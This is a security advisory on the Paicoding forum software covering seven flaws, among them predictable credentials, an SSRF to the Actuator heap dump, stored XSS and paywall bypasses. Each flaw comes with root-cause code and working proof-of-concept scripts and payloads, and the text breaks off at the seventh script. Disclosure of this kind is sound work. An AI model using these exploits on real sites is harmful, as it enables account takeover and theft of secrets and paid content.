Paicoding Vulnerability Report
Software: Paicoding
Developer or vendor: itwanger
Code repository: https://github.com/itwanger/paicoding
1. Predictable login credentials in loginByZsxq
| Brief description: | An attacker reads the ZSXQ number exposed on another user’s profile page and derives that member’s username and password from it, which takes over the victim’s account. |
|---|---|
| Affected versions: | 1.0.3 |
| Introduced in: | paicoding commit b8206b97 |
| Preconditions: | The site has at least one member account created through ZSXQ login. |
Root Cause
loginByZsxq registers a local account when a member logs in through ZSXQ for the first time. Both the username and the password are built from the ZSXQ number and contain no random component:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/user/service/user/LoginServiceImpl.java:244-250 commit 6b85f5c327
UserPwdLoginReq loginReq = new UserPwdLoginReq()
.setStarNumber(req.getStarNumber())
.setUsername("zsxq_" + req.getStarNumber())
.setPassword("zsxqp_" + req.getStarNumber())
Before the number is stored, StarNumberUtil.formatStarNumber pads it to five digits, and the username and the password are built from the padded value. The number in the formula therefore looks like 01234:
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/StarNumberUtil.java:27-29 commit 6b85f5c327
int number = Integer.parseInt(starNumber);
// 格式化为5位数字符串
return String.format("%05d", number);
The attacker obtains the ZSXQ number from the user’s profile page. Rendering the profile includes an edit form that writes the number into an input as its value, and this template is delivered with the /user/{userId} page to every visitor:
<!-- paicoding-ui/src/main/resources/templates/views/user/info/edit.html:81-90 commit 6b85f5c327 -->
<span class="form-label">星球编号</span>
<input
th:if="${vo.userHome != null && vo.userHome.starNumber != null && vo.userHome.starNumber != ''}"
id="starNumber"
type="text"
class="form-control"
th:value="${vo.userHome != null ? vo.userHome.starNumber: ''}"
placeholder="去绑定"
disabled
/>
Anyone who opens the profile page can read the number. Since the username and the password are a fixed function of the number, reading the number is enough to compute both, and /login/username issues a session once the pair matches.
Reproduction Environment
The official repository does not ship a compose file, so the application is built from source and started with compose. The build needs a JDK and Maven, the runtime is Java 8, and the container keeps the official port 8080 while the host publishes 18070. The build and start commands are:
git clone https://github.com/itwanger/paicoding.git
cd paicoding
mvn clean install -Dmaven.test.skip=true -Pdev
mkdir -p run
cp -r paicoding-web/target/classes run/classes
mvn -q -pl paicoding-web dependency:copy-dependencies -DoutputDirectory=$PWD/run/lib
cat > run/Dockerfile <<'EOF'
FROM eclipse-temurin:8-jre
WORKDIR /app
COPY classes /app/classes
COPY lib /app/lib
EXPOSE 8080
ENTRYPOINT ["java","-Xms256m","-Xmx1024m","-cp","/app/classes:/app/lib/*","com.github.paicoding.forum.web.QuickForumApplication"]
EOF
cat > docker-compose.yml <<'EOF'
services:
mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: paicoding
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-authentication-plugin=mysql_native_password
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-ppaicoding"]
interval: 5s
timeout: 5s
retries: 20
volumes:
- mysql-data:/var/lib/mysql
redis:
image: redis:7-alpine
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 20
app:
build: ./run
depends_on:
mysql:
condition: service_healthy
redis:
condition: service_healthy
environment:
PAICODING_DB_HOST: mysql
PAICODING_DB_PORT: 3306
PAICODING_DB_USERNAME: root
PAICODING_DB_PASSWORD: paicoding
PAICODING_REDIS_HOST: redis
PAICODING_REDIS_PORT: 6379
PAICODING_REDIS_PASSWORD: ""
PAICODING_ES_OPEN: "false"
JAVA_TOOL_OPTIONS: "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai"
ports:
- "18070:8080"
volumes:
- app-storage:/tmp/storage
volumes:
mysql-data:
app-storage:
EOF
docker compose up -d
Once the site is up, create a member account through the site’s own ZSXQ login callback to simulate that member’s first login. The script is:
import hashlib, time, httpx
BASE = 'http://127.0.0.1:18070'
now = int(time.time())
p = {'app_id': '666', 'group_number': '666', 'user_id': '88001', 'user_name': 'Alice', 'user_icon': '',
'user_number': '01234', 'user_role': '', 'extra': 'login', 'join_time': str(now - 86400 * 30),
'expire_time': str(now + 86400 * 365), 'timestamp': str(now)}
kv = '&'.join(f'{k}={v}' for k, v in sorted(p.items()) if v != '')
p['signature'] = hashlib.sha1((kv + '&secret=666').encode()).hexdigest()
c = httpx.Client(base_url=BASE, timeout=20)
c.get('/login/zsxq/callback', params=p, follow_redirects=False)
me = c.get('/api/admin/user/info').json()['result']
print(me)
The output is:
{'id': '6', 'createTime': '2026-11-11T18:23:24.000+00:00', 'updateTime': '2026-11-11T18:23:24.000+00:00', 'userId': '6', 'userName': 'Alice', 'role': 'NORMAL', 'photo': 'https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png', 'profile': '', 'position': '', 'company': '', 'extend': '', 'deleted': 0, 'region': '', 'starStatus': 'FORMAL', 'starNumber': '01234', 'expireTime': '2027-11-12T02:23:24.000+00:00', 'email': '', 'payCode': ''}
Each section below starts with docker compose down -v and docker compose up -d so the environment returns to its initial state.
Reproduction
The attacker does not log in and opens the victim’s profile page. The page HTML carries an input with id="starNumber" whose value is the ZSXQ number:
curl -sS http://127.0.0.1:18070/user/6 | grep -oE 'value="[0-9]{5}"'
The output is:
value="01234"
With the number in hand, the attacker computes the username and the password and logs in:
curl -sS -i -X POST http://127.0.0.1:18070/login/username \
-d 'username=zsxq_01234&password=zsxqp_01234'
The response is:
HTTP/1.1 200
Set-Cookie: f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E; Max-Age=432000; Expires=Tue, 17-Nov-2026 02:23:33 GMT; Domain=127.0.0.1; Path=/
{"status":{"code":0,"msg":"OK"},"result":true}
Reading the user profile with that session returns the victim Alice’s record and a FORMAL membership:
curl -sS -b 'f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E' \
http://127.0.0.1:18070/api/admin/user/info
The response is:
{"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:23:24.000+00:00","updateTime":"2026-11-11T18:23:24.000+00:00","userId":"6","userName":"Alice","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"FORMAL","starNumber":"01234","expireTime":"2027-11-12T02:23:24.000+00:00","email":"","payCode":""}}
In the browser the session is already inside Alice’s account, and the page shows the ZSXQ number and the membership expiry:

2. Image transfer SSRF reads Actuator heap dump
| Brief description: | An ordinary user uses the image transfer endpoint to reach the Actuator that only listens on loopback, has the heap dump written to the static directory, then downloads that file anonymously and extracts the database password, signing keys and active sessions from it. |
|---|---|
| Affected versions: | 1.0.3 |
| Introduced in: | paicoding commit 54d01f9e |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
/image/save only requires login, takes img from the caller and performs no address validation:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:90-113 commit 6b85f5c327
public String saveImg(String img) {
if (imageUploader.uploadIgnore(img)) {
return img;
}
try {
InputStream stream = FileReadUtil.getStreamByFileName(img);
URI uri = URI.create(img);
String path = uri.getPath();
int index = path.lastIndexOf(".");
String fileType = null;
if (index > 0) {
fileType = path.substring(index + 1);
}
String digest = calculateSHA256(stream);
String ans = imgReplaceCache.getIfPresent(digest);
if (StringUtils.isBlank(ans)) {
ans = imageUploader.upload(stream, fileType);
imgReplaceCache.put(digest, ans);
}
...
The file extension comes from the URL path suffix and the content comes from the remote response. LocalStorageWrapper then writes the stream to the local directory and uses that suffix as the file type:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/oss/impl/LocalStorageWrapper.java:52-59 commit 6b85f5c327
String path = imageProperties.getAbsTmpPath() + imageProperties.getWebImgPath();
String fileName = genTmpFileName();
InputStream finalInput = input;
String finalFileType = fileType;
FileWriteUtil.FileInfo file = stopWatchUtil.record("存储", () -> FileWriteUtil.saveFileByStream(finalInput, path, fileName, finalFileType));
return imageProperties.buildImgUrl(imageProperties.getWebImgPath() + file.getFilename() + "." + file.getFileType());
The Actuator admin port is bound to loopback but exposes every endpoint:
# paicoding-web/src/main/resources/application.yml:143-150 commit 6b85f5c327
management:
server:
address: 127.0.0.1 # 设置为本地ip,防止远程访问该连接进行关闭服务
port: 8999
endpoints:
web:
exposure:
include: "*"
Binding the admin port to loopback does not protect it, because the transfer endpoint runs inside the same host. When fileType is empty, LocalStorageWrapper.upload reads the whole stream into a byte array to detect the magic number, which exhausts memory for a heap dump of several hundred megabytes, so the request path needs a suffix. With the path written as heapdump;x=.txt, path.lastIndexOf(".") picks up the suffix inside ;x=.txt, so that branch is skipped and the dump is written straight to disk as /forum/image/xxxx.txt.
Reproduction Environment
Same as section 1.
Reproduction
First log the administrator in once so an active session exists in the JVM heap, then register an ordinary account as the attacker and call the transfer endpoint. The script is:
import base64, json, re, httpx
BASE = 'http://127.0.0.1:18070'
MGMT = '127.0.0.1:8999'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] administrator logged in, f-session=%s' % admin.cookies.get('f-session'))
attacker = httpx.Client(base_url=BASE, timeout=None)
attacker.post('/login/register', data={'username': 'dumpbot', 'password': 'Dump@12345',
'starNumber': '01000', 'displayName': 'dumpbot'})
attacker.post('/login/username', data={'username': 'dumpbot', 'password': 'Dump@12345'})
print('[attacker] ordinary account f-session=%s' % attacker.cookies.get('f-session'))
r = attacker.get('/image/save', params={'img': 'http://%s/actuator/heapdump;x=.txt' % MGMT})
print('[attacker] GET /image/save?img=http://%s/actuator/heapdump;x=.txt' % MGMT)
print(' -> %s %s' % (r.status_code, r.text))
heap_path = r.json()['result']['imagePath']
anon = httpx.Client(base_url=BASE, timeout=20)
heap = anon.get(heap_path).content
print('[attacker] anonymous GET %s -> %d bytes' % (heap_path, len(heap)))
print('[attacker] magic: %r' % heap[:18])
tokens = set()
for m in re.finditer(rb'f-session=([A-Za-z0-9_.\-]{150,260})', heap):
cand = m.group(1).decode()
if cand.count('.') == 2:
tokens.add(cand)
print('[attacker] f-session values in the heap: %d' % len(tokens))
for tok in sorted(tokens):
claims = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=' * (-len(tok.split('.')[1]) % 4)))
info = httpx.get(BASE + '/api/admin/user/info', cookies={'f-session': tok}, timeout=10)
if info.json().get('result'):
print('[attacker] token u=%s -> %s' % (claims['u'], info.text))
print('[attacker] f-session=%s' % tok)
for needle in (b'hello_world', b'PAICODING_DB_PASSWORD'):
print('[attacker] heap contains %r: %s' % (needle, needle in heap))
The output is:
[victim] administrator logged in, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] ordinary account f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] GET /image/save?img=http://127.0.0.1:8999/actuator/heapdump;x=.txt
-> 200 {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112105344552_77.txt"}}
[attacker] anonymous GET /forum/image/20261112105344552_77.txt -> 201717245 bytes
[attacker] magic: b'JAVA PROFILE 1.0.2'
[attacker] f-session values in the heap: 3
[attacker] token u=1 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"1","createTime":"2026-11-11T18:53:31.000+00:00","updateTime":"2026-11-11T18:53:31.000+00:00","userId":"1","userName":"管理员","role":"ADMIN","photo":"https://imgs.hhui.top/forum/avatar/0066.png","profile":"码农","position":"java","company":"xm","extend":"","deleted":0,"region":"","starStatus":"IGNORE","starNumber":"","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c
[attacker] token u=6 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:53:40.000+00:00","updateTime":"2026-11-11T18:53:40.000+00:00","userId":"6","userName":"dumpbot","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0058.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"TRYING","starNumber":"01000","expireTime":null,"email":"","payCode":""}}
[attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM
[attacker] heap contains b'hello_world': True
[attacker] heap contains b'PAICODING_DB_PASSWORD': True
hello_world is the plain value of paicoding.jwt.secret, and PAICODING_DB_PASSWORD is the name of the environment variable that holds the database password. Besides the password and the secret, the heap also retains the f-session values written when other users logged in, and the u=1 session recovered above reaches the admin endpoints.
3. Image upload XSS
| Brief description: | An attacker uploads an SVG that carries a script, and the victim executes it in the site origin on opening the file, which takes over the victim’s account. |
|---|---|
| Affected versions: | 1.0.0 to 1.0.3 |
| Introduced in: | paicoding commit 08da669b |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
validateStaticImg decides the type from the Content-Type declared by the request, and svg is explicitly allowed:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:174-180 commit 6b85f5c327
private String validateStaticImg(String mime) {
if ("svg".equalsIgnoreCase(mime)) {
// fixme 上传文件保存到服务器本地时,做好安全保护, 避免上传了要给攻击性的脚本
return "svg";
}
The file content is not validated, so an SVG that carries a script is stored as .svg unchanged. Local storage puts the file into the static directory, spring.web.resources.static-locations serves that directory, and .svg is returned as image/svg+xml. The session cookie f-session carries no HttpOnly flag, so the script can read it.
Reproduction Environment
Same as section 1.
Reproduction
The attacker registers an ordinary account and uploads an SVG that carries a script:
import httpx
BASE = 'http://127.0.0.1:18070'
SVG = '''<svg xmlns="http://www.w3.org/2000/svg" width="1400" height="120">
<rect width="100%" height="100%" fill="#ffffff"/>
<text x="12" y="26" font-family="monospace" font-size="16" fill="#000000">Uploaded SVG file, document.cookie:</text>
<script type="text/javascript">
var parts = document.cookie.match(/[\\s\\S]{1,80}/g) || [];
parts.forEach(function (s, i) {
var t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
t.setAttribute('x', 12); t.setAttribute('y', 50 + i * 20);
t.setAttribute('font-family', 'monospace'); t.setAttribute('font-size', 13);
t.setAttribute('fill', '#c00000'); t.textContent = s;
document.documentElement.appendChild(t);
});
</svg>'''
c = httpx.Client(base_url=BASE, timeout=30)
c.post('/login/register', data={'username': 'uploadbot', 'password': 'Up@12345',
'starNumber': '01200', 'displayName': 'uploadbot'})
c.post('/login/username', data={'username': 'uploadbot', 'password': 'Up@12345'})
r = c.post('/image/upload', files={'image': ('a.svg', SVG.encode(), 'svg')})
print(r.text)
print(BASE + r.json()['result']['imagePath'])
The output is:
{"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112103353393_10.svg"}}
http://127.0.0.1:18070/forum/image/20261112103353393_10.svg
The victim opens the link and the script reads the session:

4. JSON-LD XSS on profile pages
| Brief description: | An attacker writes a profile that closes the surrounding script element, and every visitor of that profile page executes the attacker’s script, which takes over the victim’s account. |
|---|---|
| Affected versions: | 1.0.0 to 1.0.3 |
| Introduced in: | paicoding commit 5cc55070 |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
The page emits the JSON-LD through th:utext:
<!-- paicoding-ui/src/main/resources/templates/components/layout/header.html:59 commit 6b85f5c327 -->
<script type="application/ld+json" th:utext="${global.jsonLd}"></script>
The JSON-LD is serialized by Hutool and inserted into the page unchanged, without escaping <:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/GlobalInitService.java:76-84 commit 6b85f5c327
vo.setJsonLd(JSONUtil.toJsonStr(seo.getJsonLd()));
The user profile page puts the profile text into that structure:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/global/SeoInjectService.java:386-388 commit 6b85f5c327
jsonLd.put("headline", title);
jsonLd.put("description", user.getUserHome().getProfile());
The profile text is edited by the user and saveUserInfo stores it unchanged, so a </script> inside the profile closes the JSON-LD’s script element early and the rest of the input runs as a script.
Reproduction Environment
Same as section 1.
Reproduction
The attacker registers an account and changes the profile:
import httpx
BASE = 'http://127.0.0.1:18070'
PAYLOAD = ("</script><script>document.addEventListener('DOMContentLoaded',function(){"
"document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})"
"</script>")
c = httpx.Client(base_url=BASE, timeout=20)
c.post('/login/register', data={'username': 'jsonldbot2', 'password': 'Json@12345',
'starNumber': '01011', 'displayName': 'jsonldbot2'})
c.post('/login/username', data={'username': 'jsonldbot2', 'password': 'Json@12345'})
me = c.get('/api/admin/user/info').json()['result']
print('[attacker] userId=%s' % me['userId'])
print('[attacker] saveUserInfo ->', c.post('/user/api/saveUserInfo',
json={'userId': me['userId'], 'userName': 'jsonldbot2', 'profile': PAYLOAD}).text)
print('[victim] URL: %s/user/%s' % (BASE, me['userId']))
The output is:
[attacker] userId=6
[attacker] saveUserInfo -> {"status":{"code":0,"msg":"OK"},"result":true}
[victim] URL: http://127.0.0.1:18070/user/6
Reading that profile anonymously yields the following JSON-LD fragment:
application/ld+json">{"author":{"@type":"Person","name":"jsonldbot2"},"description":"</script><script>document.addEventListener('DOMContentLoaded',function(){document.body.innerHTML='<pre style=\"font:12px monospace;white-space:pre;width:1360px\">'+document.cookie+'</pre>'})</script>","@context":"https://schema.org","headline":"技术派 | jsonldbot2 的主页","url":"https://paicoding.com/user/6"}</script>
The victim opens the profile and the script reads the session:

5. Payment notice template XSS
| Brief description: | An attacker puts a script in the display name and starts a pending payment on the victim author’s paid article, after which the display name appears in the system notice and is executed as HTML, which takes over the victim’s account. |
|---|---|
| Affected versions: | 1.0.3 |
| Introduced in: | paicoding commit 766c48b3 |
| Preconditions: | The victim author has a paid article that uses a personal payment QR code. |
Root Cause
The pending payment notice inserts the payer’s display name into the notice body:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/notify/service/impl/NotifyMsgListener.java:274-287 commit 6b85f5c327
if (PayStatusEnum.PAYING == payStatus) {
BaseUserInfoDTO payUser = userService.queryBasicUserInfo(record.getPayUserId());
msg = new NotifyMsgDO().setRelatedId(record.getArticleId())
...
.setMsg(String.format("您的文章 <a href=\"/article/detail/%d\">%s</a> 收到一份来自 <a href=\"/user/home?userId=%d\">%s</a> 的 [%s] 打赏,点击 <a href=\"/article/payConfirm?payId=%d\">去确认~</a>",
record.getArticleId(), article.getTitle(),
payUser.getUserId(), payUser.getUserName(),
...
Here payUser.getUserName() is the display name submitted at registration and it is not escaped. The notice template outputs the body through th:utext:
<!-- paicoding-ui/src/main/resources/templates/components/notice/notify-system-item.html:18 commit 6b85f5c327 -->
<div class="comment" th:utext="${msg.msg}">m</div>
The display name is limited to 50 characters, which is enough for a short payload such as <img src=x onerror=this.outerHTML=document.cookie>. Starting a pending payment only requires a call to paying after login and no real payment.
Reproduction Environment
Same as section 1. The victim account needs a paid article whose payWay is email, and the script creates it.
Reproduction
The script is:
import httpx, time
BASE = 'http://127.0.0.1:18070'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
print('[victim] admin login, f-session=%s' % admin.cookies.get('f-session'))
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-article-demo',
'urlSlug': 'paidarticle%d' % int(time.time()), 'content': '<p>paid body</p>', 'categoryId': 1,
'readType': 4, 'payWay': 'email', 'payAmount': 1,
'actionType': 'post', 'tagIds': [1], 'summary': 'paid'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s (readType=4, payWay=email)' % aid)
PAYLOAD = '<img src=x onerror=this.outerHTML=document.cookie>'
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'notifybot3', 'password': 'Not@12345',
'starNumber': '01031', 'displayName': PAYLOAD})
att.post('/login/username', data={'username': 'notifybot3', 'password': 'Not@12345'})
print('[attacker] display name: %s' % PAYLOAD)
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
print('[attacker] toPay -> payId=%s payWay=%s payStatus=%s' % (pay['payId'], pay['payWay'], pay['payStatus']))
r = att.get('/article/api/pay/paying', params={'payId': pay['payId'], 'succeed': 'true'})
print('[attacker] paying -> %s %s' % (r.status_code, r.text))
html = admin.get('/notice/api/items', params={'type': 'system', 'page': 1, 'pageSize': 10}).json()['result']['html']
print('[victim] system notice contains payload: %s' % (PAYLOAD in html))
i = html.find('收到一份来自')
print('[victim] notice text: %s' % html[i - 30:i + 300].replace('\n', ' '))
The output is:
[victim] admin login, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgzMjU2LCJzIjoiYzBhOGEwMDQuMTc5NDQ1MTI1NjUwMy4wMDAwMTEwMDIiLCJ1IjoxfQ.x-RFwqEFyD3IFucHrCrYg9fxaffpYxbCgcr-VvAyfys
[victim] paid article id=2631610125049857 (readType=4, payWay=email)
[attacker] display name: <img src=x onerror=this.outerHTML=document.cookie>
[attacker] toPay -> payId=2631610125049858 payWay=email payStatus=0
[attacker] paying -> 200 {"status":{"code":0,"msg":"OK"},"result":true}
[victim] system notice contains payload: True
[victim] notice text: 049857">paid-article-demo</a> 收到一份来自 <a href="/user/home?userId=6"><img src=x onerror=this.outerHTML=document.cookie></a> 的 [个人收款码] 打赏,点击 <a href="/article/payConfirm?payId=2631610125049858">去确认~</a></div>
The author opens the system notice page, the script runs and shows the session:

6. Unauthenticated article detail API leaks paid and draft content
| Brief description: | An unauthenticated caller of the article detail API receives the full body of paid articles, login-only articles and ZSXQ member articles, and unpublished drafts as well. |
|---|---|
| Affected versions: | 1.0.3 |
| Introduced in: | paicoding commit 01ad91e6 |
| Preconditions: | None. |
Root Cause
The detail API converts the full body to HTML and returns it without consulting the read permission:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticleRestController.java:87-94 commit 6b85f5c327
@GetMapping("/data/detail/{articleId}")
public ResVo<ArticleDetailVo> detail(@PathVariable(name = "articleId") Long articleId) throws IOException {
ArticleDetailVo vo = new ArticleDetailVo();
// 文章相关信息
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 返回给前端页面时,转换为html格式
articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent()));
vo.setArticle(articleDTO);
Only the page rendering path truncates the body:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249 commit 6b85f5c327
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 根据文章类型,来自动处理文章内容
String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO);
formatArticleReadType truncates the body according to readType, but the detail API never passes through it. In addition, ArticleDao.queryArticleDetail only restricts articles under review, so the draft state is not covered:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85 commit 6b85f5c327
ArticleDO article = baseMapper.selectById(articleId);
if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) {
return null;
}
// 查询文章正文
ArticleDTO dto = ArticleConverter.toDto(article);
if (showReviewContent(article)) {
ArticleDetailDO detail = findLatestDetail(articleId);
dto.setContent(detail.getContent());
} else {
dto.setContent("### 文章审核中,请稍后再看");
}
The bodies of drafts, paid articles and member articles are therefore returned unchanged by this API. The article short link entry ArticleSlugViewController renders the detail by id, so drafts are readable through the short link page as well.
Reproduction Environment
Same as section 1.
Reproduction
First create a paid article and a draft as the administrator, then read them with an anonymous session. The script is:
import httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYWALL_SECRET_9Z'
DRAFT = 'DRAFT_SECRET_7Q'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
slug1 = 'paidleak%d' % int(time.time())
paid = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1,
'content': '<p>' + 'A' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1],
'summary': 'paid'}).json()['result']['articleId']
slug2 = 'draftleak%d' % int(time.time())
draft = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2,
'content': '<p>' + 'B' * 600 + DRAFT + '</p>', 'categoryId': 1, 'readType': 0,
'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId']
print('[victim] paid article id=%s slug=%s' % (paid, slug1))
print('[victim] draft article id=%s slug=%s' % (draft, slug2))
anon = httpx.Client(base_url=BASE, timeout=20)
page = anon.get('/' + slug1).text
print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page))
body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content']
print('[anonymous] REST detail tail: %r' % body[-80:])
print('[anonymous] REST detail contains secret: %s' % (SECRET in body))
page = anon.get('/' + slug2).text
print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page))
body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content']
print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body))
The output is:
[victim] paid article id=2631610710155265 slug=paidleak1794451813
[victim] draft article id=2631610710155266 slug=draftleak1794451814
[anonymous] GET /paidleak1794451813 page contains secret: False
[anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z</p>\n'
[anonymous] REST detail contains secret: True
[anonymous] GET /draftleak1794451814 page contains draft secret: True
[anonymous] REST detail contains draft secret: True
An ordinary user cannot read the PAYWALL_SECRET_9Z part of the paid article:

7. Enumerable confirmation code for payment QR
| Brief description: | An attacker enumerates the confirmation code of a payment record, marks it as paid and unlocks the paid article without paying. |
|---|---|
| Affected versions: | 1.0.3 |
| Introduced in: | paicoding commit e491dfdf |
| Preconditions: | The attacker has an ordinary account, and the target article uses a personal payment QR code. |
Root Cause
The confirmation code is built from a fixed prefix, a global increasing counter and the payment record id:
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327
public static String genPayCode(ThirdPayWayEnum payWay, Long id) {
long now = System.currentTimeMillis();
if (DateUtil.skipDay(lastTime, now)) {
lastTime = now;
INCR.set((int) (Math.random() * 500));
}
return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id;
}
INCR is a counter inside the process that starts each day from a random value between 0 and 499, so the counter part only has around 2000 possible values. The payment record id comes back to the payer in the toPay response.
The callback endpoint requires no login and passes the request parameters to the payment service:
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327
@RequestMapping(path = "callback")
public ResponseEntity<ResVo<Boolean>> callback(HttpServletRequest request) {
return (ResponseEntity<ResVo<Boolean>>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL)
.payCallback(request, new Function<PayCallbackBo, Boolean>() {
The payment service reads verifyCode, payId and succeed from the request:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62 commit 6b85f5c327
public PayCallbackBo payCallback(HttpServletRequest request) {
String outTradeNo = request.getParameter("verifyCode");
Long payId = Long.parseLong(request.getParameter("payId"));
PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL;
updatePayStatus only compares the verifyCode stored in the record and never checks who the caller is, so enumerating the counter marks the record as paid.
Reproduction Environment
Same as section 1.
Reproduction
The script is:
import concurrent.futures, httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYBYPASS_SECRET_77'
